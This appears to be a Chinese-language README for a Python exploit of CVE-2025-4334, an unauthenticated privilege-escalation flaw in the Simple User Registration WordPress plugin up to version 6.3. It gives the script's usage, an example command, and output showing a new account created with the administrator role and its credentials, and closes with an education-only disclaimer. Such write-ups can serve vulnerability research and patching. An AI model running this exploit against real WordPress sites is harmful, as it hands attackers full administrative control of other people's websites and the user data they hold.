Simple User Registration WordPress 插件在所有版本(截至并包括 6.3 版本)中均存在权限提升漏洞。
这是由于注册期间可提供的用户元数据值限制不足所致。
这使得未认证攻击者能够注册为管理员。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H该脚本通过使用提取的 nonce、表单 ID 和 referer 提交表单,自动执行权限提升。
python CVE-2025-4334.py -h
usage: CVE-2025-4334.py [-h] -u URL --form FORM
Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation - by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Base WordPress URL (e.g. http://localhost/wordpress/)
--form FORM Full URL of the page that contains the registration form
-u → WordPress 基础安装地址(例如 http://localhost/wordpress/)--form → 包含存在漏洞的注册表单的完整 URL(例如 http://localhost/wpr/default-registration/)python CVE-2025-4334.py -u http://localhost/wordpress/ --form http://localhost/wpr/default-registration/
[i] Extracted Nonce : ffcf0140a8
[i] Extracted Form ID : 76
[i] Referer Path : /wpr/default-registration/
[i] HTTP Response Code : 200
[i] Server Response : {"user_id":13,"status":"success","signup":"signup","message":"Registration Done !\r\nUser Register Email not sent, please contact admin","redirect_url_signup":null}
[+] Exploitation Successful
[+] Username : Nxploitedadmin
[+] First Name : Nxploitedadmin
[+] Last Name : Nxploitedadmin
[+] Email : [email protected]
[+] Password : nxp1234
[+] Role : administrator
Exploit By : Khaled_alenazi (Nxploited)
此脚本仅用于教育和研究目的。
作者对使用此工具造成的任何滥用或损害概不负责。
作者:Khaled_alenazi (Nxploited)